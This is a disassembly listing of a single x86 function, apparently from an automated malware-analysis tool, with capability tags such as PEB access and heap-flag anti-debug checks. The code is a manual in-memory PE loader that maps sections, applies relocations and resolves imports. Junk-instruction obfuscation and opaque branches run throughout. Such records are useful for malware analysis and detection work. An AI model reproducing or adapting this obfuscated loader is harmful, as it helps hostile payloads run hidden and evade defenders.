Function at 0x409000
Capabilities:
Access peb ldr_data
Create thread
Enumerate pe sections
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40aec0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0xae], 1
movzx eax, byte [ebp - 0xae]
cmp eax, 1
jne 0x40903f
mov byte [ebp - 0xae], 0
movzx ecx, byte [ebp - 0xae]
cmp ecx, 1
jne 0x409054
mov byte [ebp - 0xae], 1
jmp 0x40905b
mov byte [ebp - 0xae], 0
mov dword [ebp - 4], 0
mov byte [ebp - 0xae], 0
jmp 0x409078
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 2
mov byte [ebp - 0xae], 0
jmp 0x40909c
mov dword [ebp - 4], 0xffffffff
movzx edx, byte [ebp - 0xae]
cmp edx, 1
jne 0x4090b8
mov byte [ebp - 0xae], 0
jmp 0x4090bf
mov byte [ebp - 0xae], 1
movzx eax, byte [ebp - 0xae]
cmp eax, 1
jne 0x4090d2
mov byte [ebp - 0xae], 1
movzx ecx, byte [ebp - 0xae]
cmp ecx, 1
jne 0x4090e5
mov byte [ebp - 0xae], 1
movzx edx, byte [ebp - 0xae]
test edx, edx
jne 0x4090f7
mov byte [ebp - 0xae], 0
movzx eax, byte [ebp - 0xae]
cmp eax, 1
jne 0x40910a
mov byte [ebp - 0xae], 0
mov dword [ebp - 4], 4
mov byte [ebp - 0xae], 1
jmp 0x409127
mov dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xa5], 1
movzx ecx, byte [ebp - 0xa5]
cmp ecx, 1
jne 0x409151
mov byte [ebp - 0xae], 1
mov byte [ebp - 0xa5], 0
jmp 0x409135
movzx edx, byte [ebp - 0xae]
cmp edx, 1
jne 0x409164
mov byte [ebp - 0xae], 0
mov byte [ebp - 0x15], 1
movzx eax, byte [ebp - 0x15]
cmp eax, 1
jne 0x40917e
mov byte [ebp - 0xae], 0
mov byte [ebp - 0x15], 0
jmp 0x409168
movzx ecx, byte [ebp - 0xae]
cmp ecx, 1
jne 0x409193
mov byte [ebp - 0xae], 0
jmp 0x40919a
mov byte [ebp - 0xae], 1
mov dword [ebp - 4], 6
mov byte [ebp - 0xae], 1
jmp 0x4091b7
mov dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xce], 1
movzx edx, byte [ebp - 0xce]
cmp edx, 1
jne 0x4091e1
mov byte [ebp - 0xae], 0
mov byte [ebp - 0xce], 0
jmp 0x4091c5
mov byte [ebp - 0xa7], 1
movzx eax, byte [ebp - 0xa7]
cmp eax, 1
jne 0x409204
mov byte [ebp - 0xae], 1
mov byte [ebp - 0xa7], 0
jmp 0x4091e8
movzx ecx, byte [ebp - 0xae]
cmp ecx, 1
jne 0x409217
mov byte [ebp - 0xae], 1
movzx edx, byte [ebp - 0xae]
test edx, edx
jne 0x40922b
mov byte [ebp - 0xae], 1
jmp 0x409232
mov byte [ebp - 0xae], 0
movzx eax, byte [ebp - 0xae]
cmp eax, 1
jne 0x409247
mov byte [ebp - 0xae], 0
jmp 0x40924e
mov byte [ebp - 0xae], 1
mov dword [ebp - 4], 8
mov byte [ebp - 0xae], 1
jmp 0x40926b
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0xa
mov byte [ebp - 0xae], 0
jmp 0x40928f
mov dword [ebp - 4], 0xffffffff
movzx ecx, byte [ebp - 0xae]
cmp ecx, 1
jne 0x4092a9
mov byte [ebp - 0xae], 1
mov dword [ebp - 4], 0xc
mov byte [ebp - 0xae], 1
jmp 0x4092c6
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0xe
mov byte [ebp - 0xae], 1
jmp 0x4092ea
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0x10
mov byte [ebp - 0xae], 0
jmp 0x40930e
mov dword [ebp - 4], 0xffffffff
movzx edx, byte [ebp - 0xae]
test edx, edx
jne 0x409329
mov byte [ebp - 0xae], 1
jmp 0x409330
mov byte [ebp - 0xae], 1
movzx eax, byte [ebp - 0xae]
test eax, eax
jne 0x409344
mov byte [ebp - 0xae], 1
jmp 0x40934b
mov byte [ebp - 0xae], 1
movzx ecx, byte [ebp - 0xae]
test ecx, ecx
jne 0x40935f
mov byte [ebp - 0xae], 1
jmp 0x409366
mov byte [ebp - 0xae], 1
movzx edx, byte [ebp - 0xae]
test edx, edx
jne 0x40937a
mov byte [ebp - 0xae], 1
jmp 0x409381
mov byte [ebp - 0xae], 1
movzx eax, byte [ebp - 0xae]
cmp eax, 1
jne 0x409394
mov byte [ebp - 0xae], 1
mov dword [ebp - 4], 0x12
mov byte [ebp - 0xae], 1
jmp 0x4093b1
mov dword [ebp - 4], 0xffffffff
movzx ecx, byte [ebp - 0xae]
cmp ecx, 1
jne 0x4093cb
mov byte [ebp - 0xae], 1
movzx edx, byte [ebp - 0xae]
cmp edx, 1
jne 0x4093e0
mov byte [ebp - 0xae], 0
jmp 0x4093e7
mov byte [ebp - 0xae], 1
mov dword [ebp - 4], 0x14
mov byte [ebp - 0xae], 1
jmp 0x409404
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0x16
mov byte [ebp - 0xae], 1
jmp 0x409428
mov dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xad], 1
movzx eax, byte [ebp - 0xad]
cmp eax, 1
jne 0x409452
mov byte [ebp - 0xae], 1
mov byte [ebp - 0xad], 0
jmp 0x409436
movzx ecx, byte [ebp - 0xae]
test ecx, ecx
jne 0x409466
mov byte [ebp - 0xae], 1
jmp 0x40946d
mov byte [ebp - 0xae], 1
mov dword [ebp - 4], 0x18
mov byte [ebp - 0xae], 1
jmp 0x40948a
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0x1a
mov byte [ebp - 0xae], 0
jmp 0x4094ae
mov dword [ebp - 4], 0xffffffff
movzx edx, byte [ebp - 0xae]
cmp edx, 1
jne 0x4094ca
mov byte [ebp - 0xae], 0
jmp 0x4094d1
mov byte [ebp - 0xae], 0
movzx eax, byte [ebp - 0xae]
test eax, eax
jne 0x4094e3
mov byte [ebp - 0xae], 0
movzx ecx, byte [ebp - 0xae]
test ecx, ecx
jne 0x4094f7
mov byte [ebp - 0xae], 0
jmp 0x4094fe
mov byte [ebp - 0xae], 0
movzx edx, byte [ebp - 0xae]
cmp edx, 1
jne 0x409513
mov byte [ebp - 0xae], 1
jmp 0x40951a
mov byte [ebp - 0xae], 0
mov byte [ebp - 0xcd], 1
movzx eax, byte [ebp - 0xcd]
cmp eax, 1
jne 0x40953d
mov byte [ebp - 0xae], 1
mov byte [ebp - 0xcd], 0
jmp 0x409521
mov byte [ebp - 0xa6], 1
movzx ecx, byte [ebp - 0xa6]
cmp ecx, 1
jne 0x409560
mov byte [ebp - 0xae], 1
mov byte [ebp - 0xa6], 0
jmp 0x409544
mov dword [ebp - 4], 0x1c
mov byte [ebp - 0xae], 1
jmp 0x40957d
mov dword [ebp - 4], 0xffffffff
movzx edx, byte [ebp - 0xae]
cmp edx, 1
jne 0x409599
mov byte [ebp - 0xae], 0
jmp 0x4095a0
mov byte [ebp - 0xae], 0
mov dword [ebp - 4], 0x1e
mov byte [ebp - 0xae], 0
jmp 0x4095bd
mov dword [ebp - 4], 0xffffffff
movzx eax, byte [ebp - 0xae]
cmp eax, 1
jne 0x4095d9
mov byte [ebp - 0xae], 0
jmp 0x4095e0
mov byte [ebp - 0xae], 1
sbb ebx, 0x82
bswap esi
neg esi
rcr eax, 0xe2
imul ebx
dec edi
imul esi
not esi
mov ebx, 0xe2
mov eax, 0x50
add edx, 0x19
imul edx
sbb edx, 0xad
add edx, 0x3a
rol edi, 0x60
and edx, 0x49
dec esi
bswap edx
or edi, 0xe0
bswap edx
rcr eax, 0x12
neg ebx
dec ebx
inc edx
imul edx
and esi, 0x6c
or ebx, 0x62
neg eax
ror eax, 0x55
add esi, 0xa2
rcr edx, 0xfc
rcl eax, 0x88
mov edx, 0xf3
sub edi, 0xc1
inc esi
not esi
or esi, 0xc9
rcl esi, 0x12
rol eax, 0x5b
and edx, 0xf0
neg esi
dec edi
imul edi
bswap ebx
and esi, 0xfc
sbb esi, 0x3a
bswap esi
neg esi
mov edi, 0x40
sub eax, 0xa2
sbb edi, 0x6e
sub eax, 0xd9
not edi
dec eax
bswap esi
not esi
neg esi
not ebx
rol eax, 0x3b
neg edi
ror edx, 0xd9
sbb eax, 0x32
mov edi, 0xea
rcl edi, 0xfd
and ebx, 0x45
rol edx, 8
mov ebx, 0x29
rcr edi, 0x36
not ebx
and eax, 0x5b
dec edi
and ebx, 0x29
sbb edx, 0x75
rcl ebx, 0xce
ror ebx, 0xd4
not eax
imul edx
sbb ebx, 0xdb
add edi, 0x96
sub esi, 0x64
imul esi
neg edx
ror edx, 0x5f
dec esi
rcl eax, 0x8c
rcr ebx, 0xa5
not ebx
and edi, 0x8c
neg edx
rol ebx, 0x22
bswap edi
imul edx
rol edx, 0x57
and edi, 0xf
ror edi, 0x6d
rcl edi, 0x13
imul edi
sbb edx, 0xc
or eax, 0x86
bswap ebx
and edx, 0x44
not eax
ror eax, 0x1b
ror edx, 0x69
or esi, 0x25
and edi, 2
imul esi
rol edi, 0xcf
bswap edi
mov esi, 0x3b
add eax, 0xde
rol edx, 0x53
rol edx, 0xd9
or esi, 1
rcr edx, 0xba
dec esi
inc edi
dec edx
bswap ebx
inc edi
neg eax
inc edx
not edx
bswap esi
sub ebx, 0xd0
not edi
not ebx
not eax
imul ebx
neg edx
or eax, 0x25
rol edi, 0x44
imul edi
dec ebx
dec edx
rcr edi, 0x26
inc edi
and edi, 0x88
add ebx, 0x2c
or eax, 0x8c
bswap edi
dec edi
add edx, 0xa3
not edi
or edx, 0x79
imul eax
mov ebx, 0x3b
bswap esi
ror esi, 0x27
rcr edi, 0xf9
and ebx, 0xc2
imul edi
not ebx
neg edi
rcl edi, 0x4a
dec edx
mov eax, 0xe
neg edx
not ebx
rol edx, 0xbe
bswap ebx
neg ebx
inc esi
bswap edi
dec edi
imul eax
ror ebx, 0xe5
not esi
dec eax
ror ebx, 0xe
neg esi
inc esi
sbb esi, 0xed
inc esi
not esi
neg edi
neg eax
bswap edi
rcr eax, 0xa0
rcl esi, 0x8d
rcl esi, 0x4a
dec edi
not edx
inc ebx
neg ebx
not edi
mov edx, 0x97
inc eax
inc edi
dec esi
rol edi, 0x55
rcr edx, 0xdf
bswap edx
inc esi
neg edx
not edx
dec esi
neg edi
neg eax
neg eax
push 0x85e00
push 0x40f008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40f008
rcr edi, 0x19
add edx, 0x5e
neg edi
dec edi
imul edx
or edx, 0x8f
rol esi, 0xc4
add edi, 0xc7
neg edx
sbb edx, 0xd7
rcr ebx, 0xbd
neg esi
bswap eax
mov eax, 0xda
rcr edi, 0xbc
bswap esi
or esi, 0x2c
bswap edx
imul edi
sub edi, 0xde
neg edx
rol eax, 0xfb
inc esi
inc esi
rcr esi, 0xf0
neg eax
imul ebx
rcl edx, 0
or edi, 0xe9
and edx, 0xf3
sbb edx, 0x1c
and eax, 0xbe
bswap ebx
imul edx
imul edx
not edi
dec edx
imul esi
not esi
imul edi
dec ebx
dec edx
dec ebx
dec edx
rcr edx, 0x99
rol edi, 0xbf
add edx, 0x32
sub edi, 0x55
dec edi
imul edx
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xd4], ecx
mov edx, dword [ebp - 0xd4]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x98], eax
mov ecx, dword [ebp - 0x98]
cmp dword [ecx], 0x4550
je 0x4098d0
mov eax, 1
jmp 0x40aead
mov edx, dword [ebp - 0x98]
mov eax, dword [edx + 0xa0]
mov ecx, dword [edx + 0xa4]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], ecx
cmp dword [ebp - 0xc8], 0
je 0x409903
mov dword [ebp - 0x120], 0
jmp 0x409912
mov edx, dword [ebp - 0x98]
mov eax, dword [edx + 0x34]
mov dword [ebp - 0x120], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x98]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0xc8], 0
jne 0x40995a
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x94]
cmp edx, dword [ecx + 0x34]
je 0x40995a
mov eax, 2
jmp 0x40aead
or eax, 0xab
rcl ebx, 0x9d
sbb esi, 0x1f
or esi, 0x5d
rcl edx, 0xaa
inc esi
dec esi
dec edx
dec ebx
imul edi
add edi, 0xb6
rol ebx, 0x9f
sbb esi, 0x47
neg edx
neg eax
mov eax, 0x21
add esi, 0xa
bswap eax
mov esi, 0xcc
add esi, 0x96
or eax, 0x78
bswap esi
sub edi, 0x49
neg eax
sub esi, 0xee
mov ebx, 0x66
ror edi, 0x13
rcl ebx, 0x6f
rol edx, 0x99
rcr ebx, 0x27
rol edx, 0x44
sbb edx, 0x52
neg edx
add esi, 0x3f
bswap esi
sub ebx, 0x39
not esi
or esi, 0x55
or esi, 0x2b
imul edx
sbb edx, 0xca
neg edx
dec edi
dec eax
bswap esi
sbb esi, 0xa
sub eax, 0xac
and edi, 0xc0
imul edi
inc eax
push 0x400
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
call fcn.00401270
add esp, 0xc
sub esi, 0x47
or eax, 0xcd
imul esi
rcr edx, 0x84
not esi
ror eax, 0xd2
neg esi
mov esi, 0x60
sub ebx, 0x21
bswap esi
add ebx, 0xbf
neg esi
inc edx
not eax
imul esi
imul edx
or esi, 0x26
mov edi, 0x29
neg edx
sbb ebx, 0x38
rcl ebx, 4
neg ebx
mov eax, 0x1e
dec ebx
sub eax, 0x54
neg edx
bswap ebx
and esi, 0xe6
ror edi, 0x85
rol edx, 0x70
neg ebx
or edx, 0x8a
bswap edi
add esi, 0x2e
and esi, 0x3c
add esi, 0x51
and edi, 0xde
sbb ebx, 0x77
add esi, 0x43
rcl edi, 0x16
sub esi, 0x30
add edi, 0x8c
rol edi, 0x34
dec esi
rcl edi, 0x24
mov edi, 2
rol eax, 0x35
mov edx, 0xda
rcr eax, 0x34
sbb ebx, 0x9f
neg edi
and eax, 0xd4
neg esi
bswap edi
neg ebx
inc edx
rol esi, 0xe4
bswap esi
and edi, 0xae
ror eax, 0x97
or esi, 0x51
rcr ebx, 0x60
inc ebx
rcl ebx, 0x74
imul edi
bswap edi
neg edx
ror edx, 0xcf
rol ebx, 0x8a
rcl esi, 0x9c
imul ebx
rol edi, 0xe1
neg ebx
rol eax, 0x92
dec eax
add edx, 0xac
inc esi
inc eax
add edx, 0x4e
not esi
imul edi
sbb eax, 0x63
or edx, 0xa3
rol edx, 0x8d
add edx, 0xe5
inc ebx
neg ebx
add eax, 0xa6
not eax
rcr esi, 0xde
bswap eax
neg edx
ror eax, 0xdf
imul edx
ror eax, 0xcc
or edi, 0xe7
neg edx
and ebx, 0xbb
mov esi, 0xf3
dec esi
dec esi
mov ebx, 0xf0
not esi
not edi
not esi
imul edi
bswap esi
dec ebx
ror edx, 0x2f
imul eax
rol edi, 0xb0
rcr edx, 0xc4
rol edi, 0x35
ror edi, 0xe5
add eax, 0xec
rcr esi, 0xf7
not esi
imul esi
inc edx
or edx, 0x2a
rol edx, 0xef
ror ebx, 0xec
bswap edx
add eax, 0x65
inc edi
not eax
and edx, 0x92
mov edx, 0xe5
or edi, 0x30
imul edx
neg edi
inc esi
rcl edi, 0x56
bswap edx
rcr esi, 0xc1
bswap eax
not esi
mov eax, 0x81
ror edi, 6
ror ebx, 0x91
rcl eax, 0xbf
sbb edi, 0x2f
bswap eax
add edi, 0xeb
rcl edx, 0x2d
and esi, 0xb8
imul ebx
imul edx
dec ebx
bswap edi
sbb ebx, 0x25
rcl edi, 0x79
neg eax
mov edx, 0x60
sbb esi, 0xcd
rcr edx, 0x51
inc esi
sbb ebx, 0x19
add esi, 0x79
or esi, 0x8d
not edx
sub edi, 0xba
rcl ebx, 0x37
not esi
bswap edx
neg eax
rcr esi, 0x20
ror eax, 2
imul eax
bswap edx
rol eax, 0x30
add edx, 0xe6
add esi, 0xf4
not esi
sub eax, 0x26
sbb eax, 0
add ebx, 0x35
sbb edx, 0x17
and ebx, 0x68
mov edx, 0x28
bswap esi
rcl eax, 0xbe
ror eax, 0xd9
not esi
add eax, 6
bswap eax
neg edx
inc edx
rcl esi, 0xcf
add edx, 0xe
bswap edx
sub ebx, 0x34
dec edx
rol edx, 0xa0
neg eax
rol esi, 0x49
inc eax
bswap edx
neg esi
sub edi, 0x8b
not esi
not eax
sub ebx, 0x39
imul eax
neg ebx
sub edx, 0x9b
inc edi
rcr ebx, 0xf3
and eax, 0x56
bswap ebx
rcr ebx, 0x92
or edx, 0x53
or edi, 0x56
dec edi
and eax, 0xae
or edx, 0xfa
inc edi
imul esi
bswap edx
ror esi, 0x85
sbb edx, 0xbe
rcl eax, 0x54
rcl edx, 0x3f
ror edi, 0x5e
rcl edx, 0xcc
ror edx, 0xcd
sub edi, 0xe
or ebx, 0x25
mov edx, 0xe3
ror esi, 0x9f
dec edx
rcr eax, 0x85
not esi
not esi
rcl edi, 0xf5
inc edi
bswap esi
sbb ebx, 0x52
neg esi
inc esi
rcl esi, 0x36
neg esi
dec edx
rcr edx, 0x8b
sub edx, 0x7e
neg edx
add esi, 0xcb
dec edx
dec ebx
sbb ebx, 0x32
mov edx, dword [ebp - 0x98]
movzx eax, word [edx + 0x14]
mov ecx, dword [ebp - 0x98]
lea edx, [ecx + eax + 0x18]
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0xd8], 0
jmp 0x409d0c
mov eax, dword [ebp - 0xd8]
add eax, 1
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0x98]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0xd8], edx
jge 0x409d6d
mov eax, dword [ebp - 0xd8]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ecx + eax + 0x10]
push edx
mov eax, dword [ebp - 0xd8]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax + 0x14]
push edx
mov eax, dword [ebp - 0xd8]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x94]
add edx, dword [ecx + eax + 0xc]
push edx
call fcn.00401270
add esp, 0xc
jmp 0x409cfd
inc edx
and edi, 0xf9
and ebx, 0x58
add esi, 0x90
and ebx, 0x2e
imul edx
ror ebx, 0x81
imul edi
add edi, 0x45
inc edx
bswap eax
not edi
neg edx
or edi, 0x40
rcr edx, 0x88
not edx
sbb eax, 0x6d
rol edi, 0x2f
or esi, 0xf3
bswap edi
add edi, 0xd2
rcr ebx, 0x3c
rcr edi, 1
not edx
rcl edx, 0x94
mov ebx, 0xc6
sub esi, 0xf4
imul esi
dec edi
neg eax
neg ebx
not esi
dec esi
dec edx
sub ebx, 0xa3
sbb esi, 0x8c
rol edi, 0xd4
mov edi, 0x1f
not edi
imul edi
ror edx, 0x40
sbb edi, 0x49
bswap eax
inc edx
mov edi, 0x7b
neg esi
bswap esi
rol ebx, 0x81
ror eax, 0x52
imul ebx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
cmp ecx, dword [eax + 0x34]
je 0x409f35
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x94]
sub eax, dword [edx + 0x34]
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 0x94]
add ecx, dword [ebp - 0xcc]
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0xe4], 0
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xc8]
jae 0x409f35
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x94]
add ecx, dword [eax]
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xdc]
mov eax, dword [edx + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0xec], eax
mov ecx, dword [ebp - 0xdc]
add ecx, 8
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf4], 0
jmp 0x409ea9
mov edx, dword [ebp - 0xf4]
add edx, 1
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0xec]
jge 0x409f0f
mov ecx, dword [ebp - 0xf0]
movzx edx, word [ecx]
sar edx, 0xc
and edx, 3
je 0x409efe
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax]
and ecx, 0xfff
mov edx, dword [ebp - 0xe8]
mov eax, dword [edx + ecx]
add eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xf0]
movzx edx, word [ecx]
and edx, 0xfff
mov ecx, dword [ebp - 0xe8]
mov dword [ecx + edx], eax
mov edx, dword [ebp - 0xf0]
add edx, 2
mov dword [ebp - 0xf0], edx
jmp 0x409e9a
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xe4]
add ecx, dword [eax + 4]
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xf0]
mov dword [ebp - 0xdc], edx
jmp 0x409e45
not edi
sbb edi, 0x96
add ebx, 0x8d
sbb eax, 0x85
rcl eax, 0xca
inc ebx
dec esi
inc edx
bswap edi
and esi, 8
imul ebx
not edx
and edx, 0x87
rol ebx, 0xf9
not esi
rol edi, 0x45
not edi
imul eax
not edi
rol edi, 1
or edx, 0x30
add eax, 0xe4
sub edx, 6
and esi, 2
sbb eax, 0xdc
mov esi, 0x75
not esi
imul edi
inc ebx
sub edx, 0x69
ror edx, 0xd4
ror esi, 7
sbb ebx, 0xaf
bswap esi
not ebx
not eax
not ebx
not ebx
not esi
not esi
imul ebx
neg edx
bswap esi
not eax
imul ebx
bswap ebx
inc ebx
sub ebx, 0xac
add ebx, 0x99
inc eax
sbb eax, 0xb8
dec edx
rol esi, 0xbf
imul edx
sub edi, 0xf7
imul eax
rcl edx, 0xc2
and esi, 0x97
rcl esi, 0xba
add edx, 0x10
neg ebx
rcr ebx, 0xf8
and eax, 0xdc
not eax
inc edi
and eax, 0x6f
or eax, 0x33
neg ebx
sbb eax, 0xcb
mov eax, pe_nt_image_headers32
sbb esi, 0x1c
imul edi
rol ebx, 0xe6
bswap edx
bswap esi
mov ebx, 0x97
not edi
rcr edx, 0xc3
ror edx, 0x58
rcr edi, 0xa4
rol eax, 0x64
inc esi
or eax, 0x4b
add esi, 0xcd
sub edi, 0x45
neg edx
imul eax
neg ebx
add eax, 0xec
imul esi
or edx, 0x7a
rol eax, 0xf4
rcr eax, 0x28
neg eax
not edx
inc edx
not eax
or edi, 0x64
sub edx, 0xf8
rcl ebx, 0xde
imul edi
bswap eax
inc esi
inc edx
not ebx
not eax
dec edi
imul edx
not ebx
not ebx
neg esi
neg edx
inc esi
sub edx, 0xdb
add eax, 0xaa
sub eax, 0x63
rcl ebx, 0x18
bswap eax
bswap edx
sbb eax, 0xe4
not eax
rcl esi, 9
dec esi
imul edi
dec edi
neg esi
rcr esi, 0x94
ror eax, 3
not esi
rcr eax, 0xa1
neg edi
rol esi, 0xad
neg eax
dec edi
dec eax
rcr eax, 0x28
bswap esi
bswap edx
not edx
dec edi
ror eax, 0xb5
bswap esi
add ebx, 0x8a
ror esi, 0xde
rcl ebx, 0xcd
imul edx
rcl eax, 0xf6
bswap edx
rcr esi, 0xf5
bswap eax
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
add ecx, dword [eax + 0x80]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xf8], 0
jmp 0x40a100
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
imul eax, eax, 0x14
mov ecx, dword [ebp - 0xac]
cmp dword [ecx + eax + 0x10], 0
je 0x40a23e
mov edx, dword [ebp - 0xf8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x94]
add ecx, dword [eax + edx + 0xc]
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x40a157
jmp 0x40a0f1
mov eax, dword [ebp - 0xf8]
imul eax, eax, 0x14
mov ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0x94]
add edx, dword [ecx + eax + 0x10]
mov dword [ebp - 0x100], edx
mov dword [ebp - 0x108], 0
jmp 0x40a191
mov eax, dword [ebp - 0x108]
add eax, 1
mov dword [ebp - 0x108], eax
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebp - 0x100]
cmp dword [edx + ecx*4], 0
je 0x40a239
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x100]
mov edx, dword [ebp - 0x94]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x110], edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx + eax*4]
push edx
mov eax, dword [ebp - 0xfc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x40a20c
mov ecx, dword [ebp - 0x110]
add ecx, 2
push ecx
mov edx, dword [ebp - 0xfc]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0xf8]
imul eax, eax, 0x14
mov ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0x94]
add edx, dword [ecx + eax + 0x10]
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x10c]
mov dword [edx + eax*4], ecx
jmp 0x40a182
jmp 0x40a0f1
mov dword [ebp - 0x114], 0
jmp 0x40a259
mov edx, dword [ebp - 0x114]
add edx, 1
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x98]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x114], ecx
jge 0x40a376
mov dword [ebp - 0x118], 0x40
mov edx, dword [ebp - 0x114]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax + edx + 0x24]
mov dword [ebp - 0x11c], ecx
mov edx, dword [ebp - 0x11c]
and edx, 0x40000000
je 0x40a2c7
mov eax, dword [ebp - 0x11c]
and eax, 0x80000000
je 0x40a2c7
mov ecx, dword [ebp - 0x11c]
and ecx, 0x20000000
je 0x40a2c7
mov dword [ebp - 0x118], 0x40
jmp 0x40a32d
mov edx, dword [ebp - 0x11c]
and edx, 0x40000000
je 0x40a2ee
mov eax, dword [ebp - 0x11c]
and eax, 0x80000000
je 0x40a2ee
mov dword [ebp - 0x118], 4
jmp 0x40a32d
mov ecx, dword [ebp - 0x11c]
and ecx, 0x40000000
je 0x40a316
mov edx, dword [ebp - 0x11c]
and edx, 0x20000000
je 0x40a316
mov dword [ebp - 0x118], 0x20
jmp 0x40a32d
mov eax, dword [ebp - 0x11c]
and eax, 0x40000000
je 0x40a32d
mov dword [ebp - 0x118], 2
lea ecx, [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0x118]
push edx
mov eax, dword [ebp - 0x114]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ecx + eax + 8]
push edx
mov eax, dword [ebp - 0x114]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x94]
add edx, dword [ecx + eax + 0xc]
push edx
call fcn.00401250
add esp, 0x10
jmp 0x40a24a
imul esi
inc edx
not edi
dec esi
and esi, 0xa2
neg ebx
imul ebx
bswap ebx
inc esi
inc eax
imul ebx
sbb eax, 0x2e
dec edx
inc ebx
and edi, 0xd
and ebx, 0x5c
rcl eax, 0xfb
ror edi, 0xca
imul ebx
mov ebx, 0x90
sbb eax, 0xcb
rcl ebx, 0x88
imul eax
dec esi
dec esi
sub edx, 0x7d
and edx, 0xf0
sbb ebx, 0x15
bswap edx
neg ebx
dec edx
not edx
not eax
neg eax
sub esi, 0xff
bswap esi
imul esi
ror eax, 0xf2
sub edi, 0xee
neg eax
sbb edi, 0xbd
neg eax
dec ebx
rcr edi, 0xed
imul edi
bswap esi
rol edx, 0xd4
add eax, 0x15
inc esi
dec edi
not esi
rol esi, 0x9a
rcr eax, 0x50
bswap edi
or edx, 0x2f
dec esi
not esi
neg ebx
rcr ebx, 0x71
dec edx
neg eax
neg ebx
dec edi
sub edi, 0xd5
not edx
inc eax
and edi, 0xe6
and esi, 0x1b
imul edi
dec edx
not esi
sub edi, 1
rol edi, 0x31
not eax
sub ebx, 0x67
inc edi
dec eax
sbb edx, 0xaa
add esi, 0x16
add eax, 0xca
mov esi, 0xbf
ror ebx, 0x4d
rcl edi, 0x1e
or edi, 0x97
mov edx, 0xac
sub eax, 0x6b
bswap esi
inc ebx
rcr ebx, 0xe2
not esi
inc eax
inc edi
dec ebx
rcl edi, 0x78
inc eax
add ebx, 0x53
ror edx, 0x63
not eax
rcr edx, 0x76
ror edi, 0xba
neg ebx
not edi
not ebx
sub ebx, 0xf0
dec esi
mov eax, 6
add edi, 0x86
imul edi
neg edi
rcr edx, 0xd6
add edi, 0x6a
imul esi
bswap ebx
inc edi
mov ebx, 0x90
add ebx, 0x97
sub eax, 0xb8
mov ebx, 0x53
imul edx
sbb edi, 0xef
not eax
and ebx, 0xbc
add ebx, 0x8a
